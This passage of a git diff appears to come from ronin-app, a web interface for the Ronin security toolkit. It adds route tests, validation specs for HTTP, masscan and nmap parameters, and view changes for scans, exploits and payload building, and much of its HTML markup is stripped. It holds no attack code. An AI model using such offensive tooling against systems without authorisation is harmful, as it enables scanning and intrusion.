return status 200 and include records data' do + visit "/db/vulns/#{vuln.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/urls' do + let!(:url) { Ronin::DB::URL.find_or_import('http://example.com') } + let(:xpath) { "//a[text()='#{url}'][@href='/db/urls/#{url.id}']" } + + it 'must return status 200 and include link to a url in the body' do + visit '/db/urls' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/urls/:id' do + let!(:url) { Ronin::DB::URL.find_or_import('http://example.com') } + let(:header_xpath) { "//h1[text()='URL: #{url}']" } + + it 'must return status 200 and include records data' do + visit "/db/urls/#{url.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/url_schemes' do + let!(:url_scheme) { Ronin::DB::URLScheme.find_or_create_by(name: 'https') } + let(:xpath) { "//a[text()='#{url_scheme}'][@href='/db/url_schemes/#{url_scheme.id}']" } + + it 'must return status 200 and include link to a url scheme in the body' do + visit '/db/url_schemes' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/url_schemes/:id' do + let!(:url_scheme) { Ronin::DB::URLScheme.find_or_create_by(name: 'https') } + let(:header_xpath) { "//h1[text()='URL Scheme: #{url_scheme}']" } + + it 'must return status 200 and include records data' do + visit "/db/url_schemes/#{url_scheme.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/url_query_param_names' do + let!(:url_query_param_name) { Ronin::DB::URLQueryParamName.find_or_create_by(name: 'cat') } + let(:xpath) { "//a[text()='#{url_query_param_name}'][@href='/db/url_query_param_names/#{url_query_param_name.id}']" } + + it 'must return status 200 and include link to a url query param name in the body' do + visit '/db/url_query_param_names' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/url_query_param_names/:id' do + let!(:url_query_param_name) { Ronin::DB::URLQueryParamName.find_or_create_by(name: 'cat') } + let(:header_xpath) { "//h1[text()='URL Query Param Name: #{url_query_param_name}']" } + + it 'must return status 200 and include records data' do + visit "/db/url_query_param_names/#{url_query_param_name.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/email_addresses' do + let!(:email_address) { Ronin::DB::EmailAddress.find_or_import('foo@example.com') } + let(:xpath) { "//a[text()='#{email_address}'][@href='/db/email_addresses/#{email_address.id}']" } + + it 'must return status 200 and include link to an email address in the body' do + visit '/db/email_addresses' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/email_addresses/:id' do + let!(:email_address) { Ronin::DB::EmailAddress.find_or_import('foo@example.com') } + let(:header_xpath) { "//h1[text()='Email Address: #{email_address}']" } + + it 'must return status 200 and include records data' do + visit "/db/email_addresses/#{email_address.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/user_names' do + let!(:user_name) { Ronin::DB::UserName.find_or_import('user_name') } + let(:xpath) { "//a[text()='#{user_name}'][@href='/db/user_names/#{user_name.id}']" } + + it 'must return status 200 and include link to an user name in the body' do + visit '/db/user_names' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/user_names/:id' do + let!(:user_name) { Ronin::DB::UserName.find_or_import('user_name') } + let(:header_xpath) { "//h1[text()='User Name: #{user_name}']" } + + it 'must return status 200 and include records data' do + visit "/db/user_names/#{user_name.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/passwords' do + let!(:password) { Ronin::DB::Password.find_or_import('password') } + let(:xpath) { "//a[text()='#{password}'][@href='/db/passwords/#{password.id}']" } + + it 'must return status 200 and include link to a passwords in the body' do + visit '/db/passwords' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/passwords/:id' do + let!(:password) { Ronin::DB::Password.find_or_import('password') } + let(:header_xpath) { "//h1[text()='Password: #{password}']" } + + it 'must return status 200 and include records data' do + visit "/db/passwords/#{password.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/credentials' do + let!(:credential) { Ronin::DB::Credential.find_or_import('user:password') } + let(:xpath) { "//a[text()='#{credential}'][@href='/db/credentials/#{credential.id}']" } + + it 'must return status 200 and include link to a credential in the body' do + visit '/db/credentials' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/credentials/:id' do + let!(:credential) { Ronin::DB::Credential.find_or_import('user:password') } + let(:header_xpath) { "//h1[text()='Credential: #{credential}']" } + + it 'must return status 200 and include records data' do + visit "/db/credentials/#{credential.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/advisories' do + let!(:advisory) { Ronin::DB::Advisory.find_or_import('ABC-2023:12-34') } + let(:xpath) { "//a[text()='#{advisory}'][@href='/db/advisories/#{advisory}']" } + + it 'must return status 200 and include link to a advisory in the body' do + visit '/db/advisories' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/advisories/:id' do + let!(:advisory) { Ronin::DB::Advisory.find_or_import('ABC-2023:12-34') } + let(:header_xpath) { "//h1[text()='Advisory: #{advisory}']" } + + it 'must return status 200 and include records data' do + visit "/db/advisories/#{advisory.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/software' do + let!(:software) { Ronin::DB::Software.find_or_create_by(name: 'software', version: 1) } + let(:xpath) { "//a[text()='#{software}'][@href='/db/software/#{software.id}']" } + + it 'must return status 200 and include link to a software in the body' do + visit '/db/software' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/software/:id' do + let!(:software) { Ronin::DB::Software.find_or_create_by(name: 'software', version: 1) } + let(:header_xpath) { "//h1[text()='Software: #{software}']" } + + it 'must return status 200 and include records data' do + visit "/db/software/#{software.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/software_vendors' do + let!(:software_vendor) { Ronin::DB::SoftwareVendor.find_or_create_by(name: 'software vendor') } + let(:xpath) { "//a[text()='#{software_vendor}'][@href='/db/software_vendors/#{software_vendor.id}']" } + + it 'must return status 200 and include link to a software vendor in the body' do + visit '/db/software_vendors' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/software_vendors/:id' do + let!(:software_vendor) { Ronin::DB::SoftwareVendor.find_or_create_by(name: 'software vendor') } + let(:header_xpath) { "//h1[text()='Software Vendor: #{software_vendor}']" } + + it 'must return status 200 and include records data' do + visit "/db/software_vendors/#{software_vendor.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/oses' do + let!(:os) { Ronin::DB::OS.find_or_create_by(name: 'os', version: 1) } + let(:xpath) { "//a[text()='#{os}'][@href='/db/oses/#{os.id}']" } + + it 'must return status 200 and include link to a os in the body' do + visit '/db/oses' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/oses/:id' do + let!(:os) { Ronin::DB::OS.find_or_create_by(name: 'os', version: 1) } + let(:header_xpath) { "//h1[text()='OS: #{os}']" } + + it 'must return status 200 and include records data' do + visit "/db/oses/#{os.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/phone_numbers' do + let!(:phone_number) { Ronin::DB::PhoneNumber.find_or_import('+1 123-456-7890') } + let(:xpath) { "//a[text()='#{phone_number}'][@href='/db/phone_numbers/#{phone_number.id}']" } + + it 'must return status 200 and include link to a phone number in the body' do + visit '/db/phone_numbers' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/phone_numbers/:id' do + let!(:phone_number) { Ronin::DB::PhoneNumber.find_or_import('+1 123-456-7890') } + let(:header_xpath) { "//h1[text()='Phone Number: #{phone_number}']" } + + it 'must return status 200 and include records data' do + visit "/db/phone_numbers/#{phone_number.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/street_addresses' do + let!(:street_address) { Ronin::DB::StreetAddress.find_or_create_by(address: 'Address', city: 'City', state: 'State', zipcode: '00-000', country: 'Country') } + let(:xpath) { "//a[text()='#{street_address}'][@href='/db/street_addresses/#{street_address.id}']" } + + it 'must return status 200 and include link to a street address in the body' do + visit '/db/street_addresses' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/street_addresses/:id' do + let!(:street_address) { Ronin::DB::StreetAddress.find_or_create_by(address: 'Address', city: 'City', state: 'State', zipcode: '00-000', country: 'Country') } + let(:header_xpath) { "//h1[text()='Street Address: #{street_address}']" } + + it 'must return status 200 and include records data' do + visit "/db/street_addresses/#{street_address.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/organizations' do + let!(:organization) { Ronin::DB::Organization.find_or_import('org_name') } + let(:xpath) { "//a[text()='#{organization}'][@href='/db/organizations/#{organization.id}']" } + + it 'must return status 200 and include link to a organization in the body' do + visit '/db/organizations' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/organizations/:id' do + let!(:organization) { Ronin::DB::Organization.find_or_import('org_name') } + let(:header_xpath) { "//h1[text()='Organization: #{organization}']" } + + it 'must return status 200 and include records data' do + visit "/db/organizations/#{organization.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/people' do + let!(:person) { Ronin::DB::Person.find_or_import('full name') } + let(:xpath) { "//a[text()='#{person}'][@href='/db/people/#{person.id}']" } + + it 'must return status 200 and include link to a person in the body' do + visit '/db/people' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/people/:id' do + let!(:person) { Ronin::DB::Person.find_or_import('full name') } + let(:header_xpath) { "//h1[text()='Person: #{person}']" } + + it 'must return status 200 and include records data' do + visit "/db/people/#{person.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end +end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index fca56cc..76b4697 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -2,5 +2,14 @@ require 'rspec' require 'simplecov' +require 'rack/test' +require 'capybara/rspec' +require_relative '../app' + +RSpec.configure do |config| + config.include Rack::Test::Methods + + Capybara.app = App +end SimpleCov.start diff --git a/spec/validations/http_params_spec.rb b/spec/validations/http_params_spec.rb new file mode 100644 index 0000000..bb5eed0 --- /dev/null +++ b/spec/validations/http_params_spec.rb @@ -0,0 +1,228 @@ +require 'spec_helper' +require 'ronin/app/validations/http_params' + +describe Ronin::App::Validations::HTTPParams do + describe 'HTTPMethods' do + subject { described_class::HTTPMethods } + + it "must map 'COPY' to :copy" do + expect(subject['COPY']).to eq(:copy) + end + + it "must map 'DELETE' to :delete" do + expect(subject['DELETE']).to eq(:delete) + end + + it "must map 'GET' to :get" do + expect(subject['GET']).to eq(:get) + end + + it "must map 'HEAD' to :head" do + expect(subject['HEAD']).to eq(:head) + end + + it "must map 'LOCK' to :lock" do + expect(subject['LOCK']).to eq(:lock) + end + + it "must map 'MKCOL' to :mkcol" do + expect(subject['MKCOL']).to eq(:mkcol) + end + + it "must map 'MOVE' to :move" do + expect(subject['MOVE']).to eq(:move) + end + + it "must map 'OPTIONS' to :options" do + expect(subject['OPTIONS']).to eq(:options) + end + + it "must map 'PATCH' to :patch" do + expect(subject['PATCH']).to eq(:patch) + end + + it "must map 'POST' to :post" do + expect(subject['POST']).to eq(:post) + end + + it "must map 'PROPFIND' to :propfind" do + expect(subject['PROPFIND']).to eq(:propfind) + end + + it "must map 'PROPPATCH' to :proppatch" do + expect(subject['PROPPATCH']).to eq(:proppatch) + end + + it "must map 'PUT' to :put" do + expect(subject['PUT']).to eq(:put) + end + + it "must map 'TRACE' to :trace" do + expect(subject['TRACE']).to eq(:trace) + end + + it "must map 'UNLOCK' to :unlock" do + expect(subject['UNLOCK']).to eq(:unlock) + end + end + + describe "Versions" do + subject { described_class::Versions } + + it "must map '1.0' to 1" do + expect(subject['1.0']).to eq(1) + end + + it "must map '1.1' to 1.1" do + expect(subject['1.1']).to eq(1.1) + end + + it "must map '1.2' to 1.2" do + expect(subject['1.2']).to eq(1.2) + end + end + + describe "VerificationModes" do + subject { described_class::VerificationModes } + + it "must map 'none' to :none" do + expect(subject['none']).to eq(:none) + end + + it "must map 'peer' to :peer" do + expect(subject['peer']).to eq(:peer) + end + + it "must map 'fail_if_no_peer_cert' to :fail_if_no_peer_cert" do + expect(subject['fail_if_no_peer_cert']).to eq(:fail_if_no_peer_cert) + end + end + + describe "Headers" do + subject { described_class::Headers } + + context "when given a String" do + it "must parse multiple 'Foo: bar' header lines into a Hash of names and values" do + string = <<~HEADERS + X-Foo: foo + X-Bar: bar + HEADERS + + expect(subject[string]).to eq( + { + 'X-Foo' => 'foo', + 'X-Bar' => 'bar' + } + ) + end + + it "must group together repeated header names into an Array of values" do + string = <<~HEADERS + X-Foo: foo1 + X-Foo: foo2 + X-Bar: bar + HEADERS + + expect(subject[string]).to eq( + { + 'X-Foo' => ['foo1', 'foo2'], + 'X-Bar' => 'bar' + } + ) + end + + context "when it's empty" do + it "must return nil" do + expect(subject['']).to eq(nil) + end + end + + context "when it's whitespace" do + it "must return nil" do + expect(subject["\n \n"]).to eq(nil) + end + end + end + end + + describe "rules" do + let(:method) { 'GET' } + let(:url) { 'https://example.com/' } + + describe ":method" do + it "must require an :method key" do + result = subject.call({url: url}) + + expect(result).to be_failure + expect(result.errors[:method]).to eq(["is missing"]) + end + end + + describe ":url" do + it "must require an :url key" do + result = subject.call({method: 'GET'}) + + expect(result).to be_failure + expect(result.errors[:url]).to eq(["is missing"]) + end + end + + shared_examples_for "optional value" do |key| + let(:params) do + {method: method, url: url} + end + + it "must coerce an empty value for #{key.inspect} into nil" do + result = subject.call(params.merge(key => "")) + + expect(result).to be_success + expect(result[key]).to be(nil) + end + end + + [ + :body, + :headers, + :proxy, + :user_agent, + :user, + :password, + :cookie + ].each do |key| + include_context "optional value", key + end + + shared_examples_for "optional :ssl value" do |key| + let(:params) do + {method: method, url: url} + end + + it "must coerce an empty value for #{key.inspect} into nil" do + result = subject.call(params.merge(ssl: {key => ""})) + + expect(result).to be_success + expect(result[:ssl][key]).to be(nil) + end + end + + [ + :timeout, + :version, + :min_version, + :max_version, + :verify, + :verify_depth, + :verify_hostname + ].each do |key| + include_context "optional :ssl value", key + end + end + + describe ".call" do + subject { described_class } + + it "must initialize #{described_class} and call #call" do + expect(subject.call({})).to be_kind_of(Dry::Validation::Result) + end + end +end diff --git a/spec/validations/masscan_params_spec.rb b/spec/validations/masscan_params_spec.rb index 7af2c52..ce99256 100644 --- a/spec/validations/masscan_params_spec.rb +++ b/spec/validations/masscan_params_spec.rb @@ -5,14 +5,14 @@ describe "rules" do describe ":ips" do it "must require an :ips key" do - result = subject.call({}) + result = subject.call({ports: "80,443"}) expect(result).to be_failure expect(result.errors[:ips]).to eq(["is missing"]) end it "must require a non-empty value for :ips" do - result = subject.call({ips: ""}) + result = subject.call({ips: "", ports: "80,443"}) expect(result).to be_failure expect(result.errors[:ips]).to eq(["is missing"]) @@ -21,7 +21,7 @@ it "must split the String value for :ips into an Array of Strings" do ip1 = '192.168.1.1' ip2 = '192.168.1.2' - result = subject.call({ips: "#{ip1} #{ip2}"}) + result = subject.call({ips: "#{ip1} #{ip2}", ports: "80,443"}) expect(result).to be_success expect(result[:ips]).to eq([ip1, ip2]) @@ -29,9 +29,23 @@ end describe ":ports" do + it "must require a :ports key" do + result = subject.call({ips: "192.168.1.1"}) + + expect(result).to be_failure + expect(result.errors[:ports]).to eq(["is missing"]) + end + + it "must require a non-empty value for :ports" do + result = subject.call({ips: "192.168.1.1", ports: ""}) + + expect(result).to be_failure + expect(result.errors[:ports]).to eq(["is missing"]) + end + context "and when :ports is a valid masscan ports list" do it "must return a valid result" do - result = subject.call({ips: ['192.168.1.1'], ports: "1,2,3,4-10"}) + result = subject.call({ips: '192.168.1.1', ports: "1,2,3,4-10"}) expect(result).to be_success end @@ -48,8 +62,12 @@ end shared_examples_for "optional value" do |key| + let(:params) do + {ips: '192.168.1.1', ports: "80,443"} + end + it "must coerce an empty value for #{key.inspect} into nil" do - result = subject.call({:ips => "192.168.1.1", key => ""}) + result = subject.call(params.merge(key => "")) expect(result).to be_success expect(result[key]).to be(nil) @@ -57,7 +75,6 @@ end [ - :ports, :banners, :rate, :config_file, @@ -98,8 +115,12 @@ describe ".call" do subject { described_class } + let(:params) do + {ips: '192.168.1.1', ports: "80,443"} + end + it "must initialize #{described_class} and call #call" do - expect(subject.call({})).to be_kind_of(Dry::Validation::Result) + expect(subject.call(params)).to be_kind_of(Dry::Validation::Result) end end end diff --git a/spec/validations/nmap_params_spec.rb b/spec/validations/nmap_params_spec.rb index d2e0681..3c5339c 100644 --- a/spec/validations/nmap_params_spec.rb +++ b/spec/validations/nmap_params_spec.rb @@ -15,7 +15,7 @@ describe ":ports" do context "and when :ports is a valid nmap ports list" do it "must return a valid result" do - result = subject.call({ports: "1,2,3,4-10", targets: ['192.168.1.1']}) + result = subject.call({ports: "1,2,3,4-10", targets: '192.168.1.1'}) expect(result).to be_success end diff --git a/views/about.erb b/views/about.erb index 4977ca6..b3df6c8 100644 --- a/views/about.erb +++ b/views/about.erb @@ -1,4 +1,4 @@ -

ronin-app <%=h VERSION %>

+

ronin-app <%=h Ronin::App::VERSION %>

OS

diff --git a/views/db/advisories/index.erb b/views/db/advisories/index.erb index c4aa437..793ef36 100644 --- a/views/db/advisories/index.erb +++ b/views/db/advisories/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "advisories") %> +
+
+
+ +
+
+ +
+
+
+ <% @advisories.each do |advisory| %>

<%=h advisory %>

<% end %> diff --git a/views/db/credentials/index.erb b/views/db/credentials/index.erb index 4345197..6e3d656 100644 --- a/views/db/credentials/index.erb +++ b/views/db/credentials/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "credentials") %> +
+
+
+ +
+
+ +
+
+
+ <% @credentials.each do |credential| %>

<%=h credential %>

<% end %> diff --git a/views/db/credentials/show.erb b/views/db/credentials/show.erb index 2517fb3..58313a1 100644 --- a/views/db/credentials/show.erb +++ b/views/db/credentials/show.erb @@ -9,8 +9,8 @@ <% end %>
-

Credential: <%=h @password %>

- <%= partial(:delete, record: @password, path: "credentials") %> +

Credential: <%=h @credential %>

+ <%= partial(:delete, record: @credential, path: "credentials") %>
diff --git a/views/db/email_addresses/index.erb b/views/db/email_addresses/index.erb index 9c47738..03d9ccc 100644 --- a/views/db/email_addresses/index.erb +++ b/views/db/email_addresses/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "email_addresses") %> + +
+
+ +
+
+ +
+
+ + <% @email_addresses.each do |email_address| %>

<%=h email_address %>

<% end %> diff --git a/views/db/host_names/index.erb b/views/db/host_names/index.erb index 15d04ce..f0faf45 100644 --- a/views/db/host_names/index.erb +++ b/views/db/host_names/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "host_names") %> + +
+
+ +
+
+ +
+
+ + <% @host_names.each do |host_name| %>

<%=h host_name %>

<% end %> diff --git a/views/db/open_ports/show.erb b/views/db/open_ports/show.erb index f8dfd29..fe70458 100644 --- a/views/db/open_ports/show.erb +++ b/views/db/open_ports/show.erb @@ -18,7 +18,7 @@ diff --git a/views/db/organizations/index.erb b/views/db/organizations/index.erb index 6e18324..1fe4a3b 100644 --- a/views/db/organizations/index.erb +++ b/views/db/organizations/index.erb @@ -6,12 +6,23 @@ <% end %> - +

Organizations

- + + +
+
+ +
+
+ +
+
+ + <% @organizations.each do |organization| %>

<%=h organization %>

<% end %> - + <%= partial(:pagination, pagy: @pagy) %> \ No newline at end of file diff --git a/views/db/passwords/index.erb b/views/db/passwords/index.erb index 3504286..abf8ec5 100644 --- a/views/db/passwords/index.erb +++ b/views/db/passwords/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "passwords") %> + +
+
+ +
+
+ +
+
+ + <% @passwords.each do |password| %>

<%=h password %>

<% end %> diff --git a/views/db/people/index.erb b/views/db/people/index.erb index acd49e6..9a42970 100644 --- a/views/db/people/index.erb +++ b/views/db/people/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "people") %> + +
+
+ +
+
+ +
+
+ + <% @people.each do |person| %>

<%=h person %>

<% end %> diff --git a/views/db/phone_numbers/index.erb b/views/db/phone_numbers/index.erb index 414ee3d..5e724a0 100644 --- a/views/db/phone_numbers/index.erb +++ b/views/db/phone_numbers/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "phone_numbers") %> + +
+
+ +
+
+ +
+
+ + <% @phone_numbers.each do |phone_number| %>

<%=h phone_number %>

<% end %> diff --git a/views/db/ports/index.erb b/views/db/ports/index.erb index 8811745..8881b01 100644 --- a/views/db/ports/index.erb +++ b/views/db/ports/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "ports") %> + +
+
+ +
+
+ +
+
+ + <% @ports.each do |port| %>

<%=h port %>

<% end %> diff --git a/views/db/services/index.erb b/views/db/services/index.erb index 859492b..467da46 100644 --- a/views/db/services/index.erb +++ b/views/db/services/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "services") %> + +
+
+ +
+
+ +
+
+ + <% @services.each do |service| %>

<%=h service %>

<% end %> diff --git a/views/db/software/show.erb b/views/db/software/show.erb index 0a07f90..01375a9 100644 --- a/views/db/software/show.erb +++ b/views/db/software/show.erb @@ -17,20 +17,20 @@ - + - + @@ -39,7 +39,7 @@ - - - - -
IP address: - + <%=h @open_port.ip_address %>
Name:<%=h @os.name %><%=h @software.name %>
Version:<%=h @os.version %><%=h @software.version %>
Vendor: - <% if @os.vendor %> - - <%=h @os.vendor %> + <% if @software.vendor %> + + <%=h @software.vendor %> <% end %>
Open Ports: - <% @os.open_ports.each do |open_port| %> + <% @software.open_ports.each do |open_port| %>

<%=h open_port %> diff --git a/views/db/street_addresses/show.erb b/views/db/street_addresses/show.erb index 2edef69..8886bb1 100644 --- a/views/db/street_addresses/show.erb +++ b/views/db/street_addresses/show.erb @@ -48,7 +48,7 @@

People: - <% @street_number.people.each do |person| %> + <% @street_address.people.each do |person| %>

<%=h person %> @@ -57,19 +57,6 @@ <% end %>

Organizations: - <% @street_number.organizations.each do |organization| %> -

- - <%=h organization %> - -

- <% end %> -
diff --git a/views/db/urls/index.erb b/views/db/urls/index.erb index e408f8a..7515d3d 100644 --- a/views/db/urls/index.erb +++ b/views/db/urls/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "urls") %> +
+
+
+ +
+
+ +
+
+
+ <% @urls.each do |url| %>

<%=h url %>

<% end %> diff --git a/views/db/urls/show.erb b/views/db/urls/show.erb index 333c30d..04fb68f 100644 --- a/views/db/urls/show.erb +++ b/views/db/urls/show.erb @@ -22,7 +22,7 @@ Host Name: - <%=h @url.host_name %> + <%=h @url.host_name %> diff --git a/views/db/user_names/index.erb b/views/db/user_names/index.erb index f32da35..907971d 100644 --- a/views/db/user_names/index.erb +++ b/views/db/user_names/index.erb @@ -12,6 +12,17 @@ <%= partial(:delete_all, path: "user_names") %> +
+
+
+ +
+
+ +
+
+
+ <% @user_names.each do |user_name| %>

<%=h user_name %>

<% end %> diff --git a/views/exploits/show.erb b/views/exploits/show.erb index db010b7..39ff904 100644 --- a/views/exploits/show.erb +++ b/views/exploits/show.erb @@ -13,6 +13,7 @@ Quality: <%=h case @exploit.quality + when :untested then 'Untested' when :testing then 'Testing' when :poc then 'POC' when :weaponized then 'Weaponized' @@ -89,6 +90,16 @@ + <% if defined?(Ronin::Exploits::Metadata::Shouts) && + @exploit.include?(Ronin::Exploits::Metadata::Shouts) %> + + Shouts: + +

<%=h @exploit.shouts.join(', ') %>

+ + + <% end %> + Params: diff --git a/views/layout.erb b/views/layout.erb index 1793711..39397b9 100644 --- a/views/layout.erb +++ b/views/layout.erb @@ -60,6 +60,14 @@ + + queue about @@ -89,7 +97,7 @@
- (c) 2023 Hal Brodigan + (c) 2023-<%= Date.today.year %> Hal Brodigan
diff --git a/views/masscan.erb b/views/masscan.erb index c3ba018..6746ca4 100644 --- a/views/masscan.erb +++ b/views/masscan.erb @@ -1,3 +1,4 @@ +

masscan

@@ -17,7 +18,7 @@
- +
<% if @errors && @errors[:ports] %> @@ -35,10 +36,22 @@
-
- Advanced Options + -
+
+
> @@ -63,9 +76,9 @@ <% end %>
+
-

Timing Options:

- +
@@ -110,9 +123,9 @@ <% end %>
+
-

Routing Options:

- +
@@ -217,9 +230,9 @@ <% end %>
+
-

Exclude/Include Options

- +
@@ -264,9 +277,9 @@ <% end %>
+
-

Payload File Options:

- +
@@ -296,31 +309,29 @@ <% end %>
+
-

HTTP Options

- +
- -
- -
+ +
@@ -382,9 +393,9 @@ <% end %>
+
-

Logging Options:

- +
> @@ -404,9 +415,9 @@ <% end %>
+
-

Tuning Options:

- +
> @@ -426,9 +437,9 @@ <% end %>
+
-

Randomization Options:

- +
diff --git a/views/network/http.erb b/views/network/http.erb new file mode 100644 index 0000000..c22fa29 --- /dev/null +++ b/views/network/http.erb @@ -0,0 +1,303 @@ + +

HTTP

+ + +
+ + +
+ <% if @errors && @errors[:url] %> + + + <% @errors[:url].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + + <% if @errors && @errors[:method] %> + + + <% @errors[:method].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+ +
+ +
+ +
+ +
+ +
+
+
+ + +
+ <% if @errors && @errors[:proxy] %> + + + <% @errors[:proxy].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:headers] %> + + + <% @errors[:headers].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:user_agent] %> + + + <% @errors[:user_agent].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:user] %> + + + <% @errors[:user].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:password] %> + + + <% @errors[:password].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:cookie] %> + + + <% @errors[:cookie].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:body] %> + + + <% @errors[:body].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+
+ +
+
+ + +
+ <% if @errors && @errors[:ssl]&.dig(:timeout) %> + + + <% @errors[:ssl][:timeout].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ +
+ + +
+ <% if @errors && @errors[:ssl]&.dig(:verify_depth) %> + + + <% @errors[:ssl][:verify_depth].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+ +
+ + +
+ <% if @errors && @errors[:ssl]&.dig(:verify_hostname) %> + + + <% @errors[:ssl][:verify_hostname].each do |error| %> +

<%=h error %>

+ <% end %> + <% else %> + + <% end %> +
+
+
+
+
+ +<% if @http_response %> +
+
+      <%=h @http_response.code %> <%= @http_response.message %>
+    
+ +
+      <% @http_response.each_capitalized do |name, value| %>
+        <%=h name%>: <%=h value %>
+      <% end %>
+    
+ +
+      <%=h @http_response.body %>
+    
+
+<% end %> diff --git a/views/nmap.erb b/views/nmap.erb index f28bb04..50089a7 100644 --- a/views/nmap.erb +++ b/views/nmap.erb @@ -1,3 +1,4 @@ +

nmap

@@ -18,7 +19,7 @@
- +
<% if @errors && @errors[:ports] %> @@ -37,12 +38,22 @@
-
- Advanced Options - -
-

Target Options:

+ +
+
@@ -106,9 +117,9 @@ <% end %>
+
-

Host Discovery Options:

- +
> @@ -204,9 +215,9 @@ >
+
-

Port Scanning Options:

- +
> @@ -320,9 +331,9 @@ <% end %>
+
-

Scan Order Options:

- +
@@ -380,9 +391,9 @@ <% end %>
+
-

Service Scan Options

- +
> @@ -394,16 +405,13 @@
- - -
- -
+ +
@@ -420,9 +428,9 @@ >
+
-

OS Detection Options

- +
> @@ -447,9 +455,9 @@ >
+
-

Timing and Performance Options

- +
@@ -685,38 +693,32 @@
- - -
- -
+ +
- - -
- -
+ +
+
-

Evasion and Spoofing Options

- +
> @@ -917,9 +919,9 @@ >
+
-

Misc Options

- +
> diff --git a/views/payloads/show.erb b/views/payloads/show.erb index 30d04ca..9a100df 100644 --- a/views/payloads/show.erb +++ b/views/payloads/show.erb @@ -1,4 +1,7 @@ -

Payload: <%=h @payload.id %>

+
+

Payload: <%=h @payload.id %>

+ Build +
diff --git a/views/recon.erb b/views/recon.erb index 00c3920..09f2fe6 100644 --- a/views/recon.erb +++ b/views/recon.erb @@ -37,25 +37,19 @@ -
- Advanced Options - -
-
- - -
- <% if @errors && @errors[:max_depth] %> - - - <% @errors[:max_depth].each do |error| %> -

<%=h error %>

- <% end %> - <% else %> - - <% end %> -
-
+
+ + +
+ <% if @errors && @errors[:max_depth] %> + + + <% @errors[:max_depth].each do |error| %> +

